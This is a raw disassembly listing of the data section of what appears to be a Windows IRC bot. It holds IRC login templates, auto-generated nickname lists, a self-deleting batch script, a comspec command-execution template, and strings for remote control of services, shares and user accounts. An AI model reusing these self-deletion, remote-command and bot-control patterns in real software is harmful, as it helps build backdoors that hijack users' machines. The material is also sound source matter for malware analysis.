		retf	42h
; ---------------------------------------------------------------------------
		db  10h
		db  93h	; “
		db  43h	; C
		db    0
		db  88h	; ˆ
		db 0B1h	; ±
		db  42h	; B
		db    0
		db  0Ch
		db  93h	; “
		db  43h	; C
		db    0
		db    8
		db  93h	; “
		db  43h	; C
		db    0
		db    4
		db  93h	; “
		db  43h	; C
		db    0
		db  70h	; p
		db 0C6h	; Æ
		db  42h	; B
		db    0
		db  34h	; 4
		db 0B9h	; ¹
		db  42h	; B
		db    0
		db  7Ch	; |
		db 0B7h	; ·
		db  42h	; B
		db    0
		db 0ECh	; ì
		db 0CAh	; Ê
		db  42h	; B
		db    0
		dd offset dword_439300
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_439318
		dd offset dword_4392F8
		dd offset dword_439314
		dd offset dword_4392FC
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_4392FC
		dd offset dword_439308
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438CB8
		dd offset aBbl		; "|bbl"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset a___0		; "_|_"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392C4
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_4392F4
		dd offset byte_43DB88
		dd offset aSleeping	; "Sleeping"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392A8
		dd offset byte_43DB88
		dd offset off_438C78
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_438C38
		dd offset dword_438C34
		dd offset dword_438C2C
		dd offset dword_438C20
		dd offset dword_438C18
		dd offset dword_438C10
		dd offset dword_438C08
		dd offset dword_438C04
		dd offset dword_438C00
dword_438C00	dd 7536h		; DATA XREF: ___:00438BFCo
dword_438C04	dd 7535h		; DATA XREF: ___:00438BF8o
dword_438C08	dd 7C75347Ch, 0		; DATA XREF: ___:00438BF4o
dword_438C10	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438BF0o
dword_438C18	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438BECo
dword_438C20	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438BE8o
dword_438C2C	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438BE4o
dword_438C34	dd 6C6F6Ch		; DATA XREF: ___:00438BE0o
dword_438C38	dd 746F74h		; DATA XREF: ___:00438BDCo
aMofo		db 'mofo',0             ; DATA XREF: ___:00438BD8o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438BD4o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438BD0o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438BCCo
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438BC8o
aShit		db 'shit',0             ; DATA XREF: ___:00438BC4o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438BC0o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438BBCo
		align 4
off_438C78	dd offset aCj		; DATA XREF: ___:00438BB8o
					; "·\v–j"
aFree		db 'Free',0             ; DATA XREF: ___:00438BA4o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:00438BA0o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438B94o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438B88o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438B84o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438B80o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00438B64o
aBbl		db '|bbl',0             ; DATA XREF: ___:00438B58o
		align 4
off_438CB8	dd offset loc_425240+2	; DATA XREF: ___:00438B54o
aMuckc		db 'muckc',0            ; DATA XREF: ___:00438B40o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:00438B3Co
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00438B38o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:00438B34o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00438B30o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:00438B2Co
aRt		db 'rt',0               ; DATA XREF: ___:00438B28o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:00438B24o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00438B20o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:00438B1Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438B18o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438AF8o
		align 10h
aQ8A		db '|q8|a',0
		align 4
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 4
aGens		db '{gens|',0
		align 10h
aSex_0		db '{sex}',0
		align 4
aHub		db '{hub}',0
		align 10h
aLuck		db '|luck|',0
		align 4
aSuck		db '|suck|',0
		align 10h
aTot		db '-|tot|',0
		align 4
aWoh		db '|woh|',0
		align 10h
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0              ; DATA XREF: ___:00438A78o
aTree		db 'tree',0             ; DATA XREF: ___:00438A74o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:00438A70o
aLez		db 'lez',0              ; DATA XREF: ___:00438A6Co
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00438A64o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00438A60o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00438A5Co
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00438A58o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00438A54o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00438A50o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00438A4Co
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00438A48o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00438A44o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00438A40o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00438A3Co
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00438A38o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00438A34o
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00438A30o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00438A2Co
aAkden		db 'akden',0            ; DATA XREF: ___:00438A28o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: ___:00438A24o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00438A20o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: ___:00438A1Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438A18o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00438A14o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438A10o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00438A0Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438A08o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00438A04o
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438A00o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:004389FCo
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:004389F8o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:004389F4o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:004389F0o
		align 4
off_438E98	dd offset byte_4B5245	; DATA XREF: ___:004389ECo
aSevda		db 'sevda',0            ; DATA XREF: ___:004389E8o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:004389E4o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:004389E0o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:004389DCo
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: ___:004389D8o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:004389D4o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:004389D0o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:004389CCo
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:004389C8o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:004389C4o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:004389C0o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:004389BCo
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:004389B8o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:004389B4o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:004389B0o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:004389ACo
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:004389A8o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:004389A4o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:004389A0o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:0043899Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00438998o
aHoly		db 'holy',0             ; DATA XREF: ___:00438994o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00438990o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:0043898Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00438988o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00438984o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00438980o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:0043897Co
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00438978o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00438974o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00438970o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:0043896Co
aArda		db 'arda',0             ; DATA XREF: ___:00438968o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00438964o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00438960o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:0043895Co
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00438958o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00438954o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: ___:00438950o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:0043894Co
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00438948o
		align 4
off_43902C	dd offset byte_457441	; DATA XREF: ___:00438944o
dword_439030	dd 414C5941h, 2Dh	; DATA XREF: ___:00438940o
aAlbina		db 'albina',0           ; DATA XREF: ___:0043893Co
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00438938o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00438934o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00438930o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:0043892Co
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00438928o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00438924o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00438920o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043891Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438918o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00438914o
aAslii		db 'aslii',0            ; DATA XREF: ___:00438910o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:0043890Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438908o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00438904o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438900o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:004388FCo
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:004388F8o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: ___:004388F4o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:004388F0o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:004388ECo
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:004388E8o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:004388E4o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:004388E0o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:004388DCo
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:004388D8o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:004388D4o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: ___:004388D0o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:004388CCo
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:004388C8o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:004388C4o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:004388C0o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:004388BCo
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:004388B8o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:004388B4o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:004388B0o
aReshma		db 'reshma',0           ; DATA XREF: ___:004388ACo
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:004388A8o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:004388A4o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:004388A0o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:0043889Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00438898o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00438894o
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00438890o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:0043888Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00438888o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00438884o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00438880o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:0043887Co
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: ___:00438878o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00438874o
		align 10h
aCme		db 'cme',0              ; DATA XREF: ___:00438870o
aMarcy		db 'marcy',0            ; DATA XREF: ___:0043886Co
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00438868o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:00438864o
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00438860o
aFlexster	db 'flexster',0         ; DATA XREF: ___:0043885Co
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00438858o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:00438854o
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00438850o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:0043884Co
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00438848o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:00438844o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00438840o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:0043883Co
aFarooq		db 'farooq',0           ; DATA XREF: ___:00438838o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00438834o
		align 4
aM_0:					; DATA XREF: ___:00438830o
					; ___:00438B7Co
		unicode	0, <M>,0
word_439298	dw 4Eh			; DATA XREF: sub_41A3C6+38r
					; ___:0043882Co
		align 4
dword_43929C	dd 42h			; DATA XREF: ___:00438828o
dword_4392A0	dd 56h			; DATA XREF: ___:00438824o
dword_4392A4	dd 43h			; DATA XREF: ___:00438820o
dword_4392A8	dd 58h			; DATA XREF: ___:0043881Co
					; ___:00438BB0o
dword_4392AC	dd 5Ah			; DATA XREF: ___:00438818o
dword_4392B0	dd 4Ch			; DATA XREF: ___:00438814o
dword_4392B4	dd 4Bh			; DATA XREF: ___:00438810o
dword_4392B8	dd 4Ah			; DATA XREF: ___:0043880Co
dword_4392BC	dd 48h			; DATA XREF: ___:00438808o
dword_4392C0	dd 47h			; DATA XREF: ___:00438804o
dword_4392C4	dd 46h			; DATA XREF: ___:00438800o
					; ___:00438B78o
dword_4392C8	dd 44h			; DATA XREF: ___:004387FCo
dword_4392CC	dd 53h			; DATA XREF: ___:004387F8o
dword_4392D0	dd 50h			; DATA XREF: ___:004387F0o
dword_4392D4	dd 4Fh			; DATA XREF: ___:004387ECo
dword_4392D8	dd 55h			; DATA XREF: ___:004387E4o
word_4392DC	dw 59h			; DATA XREF: sub_41A6EA+38r
					; ___:004387E0o
		align 10h
dword_4392E0	dd 54h			; DATA XREF: ___:004387DCo
dword_4392E4	dd 52h			; DATA XREF: ___:004387D8o
dword_4392E8	dd 45h			; DATA XREF: ___:004387D4o
dword_4392EC	dd 57h			; DATA XREF: ___:004387D0o
dword_4392F0	dd 51h			; DATA XREF: ___:004387CCo
dword_4392F4	dd 62h			; DATA XREF: ___:004387C0o
					; ___:00438B8Co
dword_4392F8	dd 78h			; DATA XREF: ___:00438B0Co
dword_4392FC	dd 7Ah			; DATA XREF: ___:00438B14o
					; ___:00438B44o
dword_439300	dd 6Ch,	68h		; DATA XREF: ___:004387ACo
					; ___:00438AE0o
dword_439308	dd 67h,	66h, 64h	; DATA XREF: ___:00438B48o
dword_439314	dd 79h			; DATA XREF: ___:00438B10o
dword_439318	dd 77h			; DATA XREF: ___:00438B08o
dword_43931C	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_417B76+B1o
dword_439328	dd 323334h		; DATA XREF: sub_417B76+79o
dword_43932C	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_417B76+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417C61+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417E84+BCo
					; sub_417E84+175r ...
		align 4
dword_439374	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C0	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_4182CD+E3o
; ---------------------------------------------------------------------------


loc_4393DC:				; DATA XREF: sub_4182CD+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_4393F0	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_4182CD+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4187E0+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4188A6+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_4188A6+48o
		align 4
unk_4394A4	db  2Dh	; -		; DATA XREF: sub_418A2E+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_4394D4	db  2Dh	; -		; DATA XREF: sub_418A2E+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_4394FC	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_418A2E+5Co
		dd 65726165h, 64h
off_439518	dd offset aAdd		; DATA XREF: sub_418C0E+60r
					; sub_418FE5+51r ...
					; "Add"
off_43951C	dd offset aAdded	; DATA XREF: sub_418C0E+2Dr
					; sub_418FE5+83r ...
					; "Added"
dword_439520	dd 0			; DATA XREF: sub_418C0E+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43958Ch, 439584h,	2, 439578h, 43956Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0043954Co
aStop_0		db 'Stop',0             ; DATA XREF: ___:00439548o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:00439540o
aStart_0	db 'Start',0            ; DATA XREF: ___:0043953Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:00439534o
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:00439530o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:00439528o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:00439524o
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_43951Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439518o
unk_4395E0	db  2Dh	; -		; DATA XREF: sub_418C0E+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_439604	db  2Dh	; -		; DATA XREF: sub_418C0E+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439630	db  2Dh	; -		; DATA XREF: sub_418C0E+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418D2A:loc_418E34o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418D2A:loc_418E2Do
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418D2A:loc_418E26o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E1Fo
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418D2A:loc_418E11o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418D2A:loc_418E0Ao
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E03o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418D2A:loc_418DD8o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418D2A:loc_418DD1o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418D2A:loc_418DCAo
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418D2A:loc_418DC3o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418D2A:loc_418D98o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418D2A:loc_418D70o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_418EA8+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_418EA8:loc_418F74o
aStarting	db '   Starting',0      ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping	db '    Stoping',0      ; DATA XREF: sub_418EA8:loc_418F66o
aRunning	db '    Running',0      ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_418EA8:loc_418F58o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418EA8+25o
		align 4
unk_439B84	db  2Dh	; -		; DATA XREF: sub_418FE5+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_439BA8	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418FE5+8Ao
		dd 73252720h, 27h
unk_439BC4	db  2Dh	; -		; DATA XREF: sub_418FE5+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4191DB+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4191DB+B5o
unk_439C10	db  2Dh	; -		; DATA XREF: sub_4191DB+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4191DB+26o
		align 10h
unk_439C70	db  2Dh	; -		; DATA XREF: sub_4192FC+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_439C98	db  2Dh	; -		; DATA XREF: sub_4192FC+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_439CC8	db  2Dh	; -		; DATA XREF: sub_4192FC+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_439CE8	db  2Dh	; -		; DATA XREF: sub_419443+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
		align 10h
